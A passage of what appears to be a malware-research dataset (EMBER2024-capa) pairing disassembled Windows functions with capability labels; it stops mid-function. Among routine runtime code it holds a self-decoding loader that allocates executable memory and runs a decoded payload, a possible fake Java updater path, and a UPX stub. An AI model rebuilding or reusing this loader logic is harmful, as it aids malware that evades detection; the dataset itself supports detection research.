joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e05b
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f9c]
mov eax, 0x301c
call fcn.004105e0
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x2f98], eax
mov eax, dword [ebp + 0x2fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor eax, eax
mov edi, 0xffe
xor esi, esi
push edi
mov word [ebp + 0x1f98], ax
lea eax, [ebp + 0x1f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.00410610
xor eax, eax
push edi
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.00410610
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
push 0x4301c0
mov ebx, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e1c3
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push esi
jmp 0x40e1b2
lea eax, [ebp + 0x1f98]
push eax
push 0x430218
push 0x4301b4
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.0042d457
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e19a
push edi
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e19a
cmp dword [ebp - 0x6c], esi
jbe 0x40e19a
mov eax, dword [ebp + 0x2fa8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x80]
push eax
push esi
push 0x430288
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40e0fa
mov eax, dword [ebp - 0x74]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x40e1c9
sub eax, edx
sar eax, 1
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp + 0x2f98]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.0040ffe6
add ebp, 0x2f9c
leave
ret
Function at 0x40e9b9
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40ea14
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.0040ffe6
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.0040f362
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0042d457
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.0040f585
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0042d457
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00410610
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x40eaae
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x40eabd
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.0040f604
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.0040f30c
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x40eaee
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.0040b3a3
add esp, 0x28
test eax, eax
jne 0x40eb37
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.0040eea9
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040ec7c
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.0040ec7c
mov eax, edi
pop edi
pop ebx
jmp 0x40e9fe
mov edi, ebx
jmp 0x40eb12

Function at 0x40ffe6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cddc]
jne 0x40fff0
repz ret
jmp fcn.00417613
Function at 0x42d457
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x42d466
pop dword [ebp - 0x24]
mov eax, 0x42d466
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc303ce9a
sub dword [ebp - 0x34], 0x74b1894f
mov dword [ebp - 0x30], 0x6116459f
sub dword [ebp - 0x30], 0x2ee2f95a
mov dword [ebp - 0x2c], 0xa021293b
add dword [ebp - 0x2c], 0xac2b1af3
mov dword [ebp - 0x28], 0x5f557b20
sub dword [ebp - 0x28], 0x5f557b20
lea eax, [ebp - 0x34]
push eax
mov eax, 0x9da2e5b2
sub eax, 0x9d60045a
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x12291585
add dword [ebp - 0x34], 0x624953d1
mov dword [ebp - 0x30], 0xb2433961
sub dword [ebp - 0x30], 0x70d6d7ec
mov dword [ebp - 0x2c], 0xf69cad33
sub dword [ebp - 0x2c], 0x932d40c7
mov dword [ebp - 0x28], 0x93e2faed
add dword [ebp - 0x28], 0x6c1d0513
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xc186128e
add eax, 0x3ebccd86
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3f53b
push 0
call eax
mov ecx, 0x4236
xor edx, edx
add edx, eax
mov ebx, 0x4430be7c
sub ebx, 0x43eaae7c
add ebx, dword [ebp - 0x24]
mov edi, 0xdcaf28ca
add edi, 0x846ee6d0
add dword [ebp - 0xc], esi
mov esi, dword [ebx]
add dword [ebp - 0x18], edi
sub esi, edi
sub dword [ebp - 0x18], 0x1080505e
mov dword [edx], esi
xor dword [ebp - 0x10], ecx
add edx, 0x3cc23b88
sub edx, 0x3cc23b84
add ebx, 0x439d8e8d
sub ebx, 0x439d8e89
loop 0x42d57f
add eax, 0x8dbe2d67
add eax, 0x7242ce44
mov ebx, eax
add eax, 5
mov ecx, 0x645dfc92
add ecx, 0x9be2036e
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x402830
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xeacb20f3
mov byte [ebp - 0x38], 0xb2
mov byte [ebp - 0x37], 0xd9
mov byte [ebp - 0x36], 0xf9
mov byte [ebp - 0x35], 0x68
mov byte [ebp - 0x34], 0x40
mov byte [ebp - 0x33], 0xa
mov byte [ebp - 0x32], 0x36
mov byte [ebp - 0x31], 0xd0
mov byte [ebp - 0x30], 0xd9
mov byte [ebp - 0x2f], 0xb
mov byte [ebp - 0x2e], 0x1d
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0xd1
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x35
mov byte [ebp - 0x29], 7
mov byte [ebp - 0x28], 0x1f
mov byte [ebp - 0x27], 0x5b
mov byte [ebp - 0x26], 0xc5
mov byte [ebp - 0x25], 0x1a
mov byte [ebp - 0x24], 0x81
mov byte [ebp - 0x23], 0x2e
xor eax, eax
mov word [ebp - 0x22], ax
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x60]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, 7
mov esi, eax
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00401c00
mov edx, dword [ebp - 0x40]
or edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004067d4
mov esp, ebp
pop ebp
ret 4

Function at 0x403cb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403cc9
test al, 0x10
jne 0x403cc9
mov eax, 1
ret
xor eax, eax
ret

Function at 0x404ec0
Capabilities:
Get file size

Disassembly:
sub esp, 0x1c
push ebx
mov ebx, dword [esp + 0x2c]
xorps xmm0, xmm0
mov eax, ebx
movups xmmword [esp + 0xc], xmm0
sub eax, 0
je 0x404ee7
sub eax, 1
jne 0x404f8d
mov eax, 0x80000000
jmp 0x404eec
mov eax, 0xc0000000
push esi
mov esi, dword [esp + 0x2c]
push edi
push 0
push 0x80
push 3
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x18], edi
cmp edi, 0xffffffff
jne 0x404f22
push esi
push str.ERROR:_Opening_file__S_n
call fcn.00405050
add esp, 8
jmp 0x404f6d
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x404f61
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR:_GetFileSizeEx_failed___ld__n
call fcn.00405050
push esi
push str.ERROR:_Invalid_file_size__S_n
call fcn.00405050
push edi
call fcn.00403bf0
add esp, 0x14
mov dword [esp + 0x18], 0xffffffff
jmp 0x404f6d
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x2c]
movups xmm0, xmmword [esp + 0x14]
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
cmp dword [eax + 4], 0xffffffff
je 0x404f94
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
push 1
call fcn.0040bc78
push esi
push str.ERROR:_Couldnt_open_file:__S_n
call fcn.00405050
add esp, 8
push 1
call fcn.0040bc78
int3
Function at 0x407033
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407072
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407072
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407072
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407072
cmp dword [ecx + 0x74], 0xe
jbe 0x407072
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d8ba
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9b4
push 0x41b9ac
push str.FlsAlloc
push 0x1f
call fcn.0040d798
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d8ee
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
jmp 0x40d8f4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d938
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9c4
push 0x41b9bc
push str.FlsGetValue
push 0x21
call fcn.0040d798
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d96f
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d977
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b9cc
push 0x41b9c4
push str.FlsSetValue
push 0x22
call fcn.0040d798
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d9b1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x419130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40f7bc
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40f807
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040f957
test al, al
jne 0x40f801
sub edx, 2
cmp edx, edi
jne 0x40f7e7
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40f829
lea eax, [edi + 2]
cmp edx, eax
je 0x40f829
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040f708
add esp, 0x10
jmp 0x40f923
push esi
lea ecx, [ebp - 0x255]
call fcn.0040f957
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40f86c
push dword [ebp - 0x25c]
jmp 0x40f819
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40f8a9
cmp word [ebp - 0x226], 0
je 0x40f8ca
cmp word [ebp - 0x226], ax
jne 0x40f8a9
cmp word [ebp - 0x224], 0
je 0x40f8ca
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040f708
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40f916
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40f883
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40f8fe
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40f923
push 0x40f538
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414b10
add esp, 0x10
jmp 0x40f8f3
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004067d4
leave
ret

Function at 0x41045f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x410470
pop esi
ret
push ebx
push edi
push esi
call fcn.00410428
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040e069
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x410498
push ebx
push esi
push edi
call fcn.00407810
add esp, 0xc
push 0
call fcn.0040d645
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x410868
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004104ad
Function at 0x417f40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417f6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417f6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x410cb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x410cd2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x410cd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x410cc8
mov eax, 1
add ebx, ebx
jne 0x410ceb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x410ce0
jne 0x410cfc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410ce0
xor ecx, ecx
sub eax, 3
jb 0x410d10
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x410d82
mov ebp, eax
add ebx, ebx
jne 0x410d1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x410d28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x410d4c
inc ecx
add ebx, ebx
jne 0x410d38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x410d2d
jne 0x410d49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410d2d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x410d6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x410d5d
jmp 0x410cce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x410d6c
add edi, ecx
jmp 0x410cce
pop esi
mov edi, esi
mov ecx, 0xaf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x410d8a
cmp byte [edi], 1
jne 0x410d8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x410d8f
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x410e07
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12330]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x123ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x410dbc
mov ecx, edi
jns 0x410deb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x123f4]
or eax, eax
je 0x410e01
mov dword [ebx], eax
add ebx, 4
jmp 0x410dd9
call dword [esi + 0x123f0]
mov ebp, dword [esi + 0x123f8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x410e3b
sub esp, 0xffffff80
jmp 0x403956
Function at 0x10051d00
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10161020
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov ecx, dword [ecx]
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.10052d90
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [esi + 0x18]
movups xmm0, xmmword [ebp - 0x1c]
mov dword [esi + 0x10], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x14], 0
mov dword [ecx], 0
push 1
mov dword [ecx + 0x10], 0
push 0x10745004
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 0
call fcn.1004a4d0
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0xf
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x10051da0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10161020
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov ecx, dword [ecx]
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.10052e40
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [esi + 0x18]
movups xmm0, xmmword [ebp - 0x1c]
mov dword [esi + 0x10], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x14], 0
mov dword [ecx], 0
push 1
mov dword [ecx + 0x10], 0
push 0x10745004
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 0
call fcn.1004a4d0
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0xf
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x1005a260
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10161b80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
lea ecx, [esi + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov dword [ebp - 4], 1
mov dword [esi + 0x30], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
push 0
push 0x10744e17
mov byte [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.1004a4d0
mov dword [esi + 0x24], 0
mov eax, esi
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1005a430
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10161c09
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
push edi
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea edi, [esi + 0x18]
mov dword [ebp - 4], 1
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 4
call fcn.1005a260
lea ecx, [esi + 0x74]
mov byte [ebp - 4], 5
call fcn.1005a260
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
mov dword [esi + 0xa8], 0
mov dword [esi + 0xac], 0
mov dword [esi + 0xb0], 0
mov dword [esi + 0xb4], 0
mov dword [esi + 0xb8], 1
mov dword [esi + 0xbc], 0x3f800000
cmp esi, eax
je 0x1005a510
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x1005a507
mov eax, dword [eax]
push ecx
push eax
mov ecx, esi
call fcn.1004a4d0
mov eax, dword [ebp + 0xc]
cmp edi, eax
je 0x1005a52b
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x1005a522
mov eax, dword [eax]
push ecx
push eax
mov ecx, edi
call fcn.1004a4d0
mov eax, dword [ebp + 0x10]
lea ecx, [esi + 0x30]
cmp ecx, eax
je 0x1005a542
push dword [ebp + 0x18]
push dword [eax + 4]
push dword [eax]
call fcn.1008f470
mov ecx, dword [ebp + 0x18]
lea edx, [esi + 0x40]
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x3c], eax
mov al, byte [ecx]
lea edi, [ecx + 0xc]
mov byte [edx], al
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
mov eax, dword [ecx + 8]
mov dword [edx + 8], eax
lea eax, [edx + 0xc]
mov dword [ebp + 8], eax
cmp eax, edi
je 0x1005a587
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x1005a575
mov eax, dword [edi]
push dword [edi + 0x10]
mov ecx, dword [ebp + 8]
push eax
call fcn.1004a4d0
mov ecx, dword [ebp + 0x18]
lea edx, [esi + 0x40]
movups xmm0, xmmword [ecx + 0x24]
movups xmmword [edx + 0x24], xmm0
mov al, byte [ecx]
lea edx, [esi + 0x74]
mov byte [edx], al
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
mov eax, dword [ecx + 8]
mov dword [edx + 8], eax
lea eax, [edx + 0xc]
mov dword [ebp + 8], eax
cmp eax, edi
je 0x1005a5c7
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
jb 0x1005a5b7
mov edi, dword [edi]
mov ecx, dword [ebp + 8]
push eax
push edi
call fcn.1004a4d0
mov ecx, dword [ebp + 0x18]
lea edx, [esi + 0x74]
movups xmm0, xmmword [ecx + 0x24]
mov eax, dword [ebp + 0x1c]
pop edi
movups xmmword [edx + 0x24], xmm0
movups xmm0, xmmword [eax]
mov eax, dword [ebp + 0x20]
movups xmmword [esi + 0xa8], xmm0
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0xb8], ecx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0xbc], eax
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x1009bf70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017217f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.10136361
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x1009bffb
push eax
push esi
call fcn.10136769
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.10135d40
int3

Function at 0x1009c770
Capabilities:
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov eax, 2
mov esi, edx
push 0xce4
mov word [ebp - 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0xe], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp + 8]
push eax
mov eax, 0x5b8630
call eax
add esp, 8
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
test edi, edi
jne 0x1009c7d6
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x10
lea eax, [ebp - 0x20]
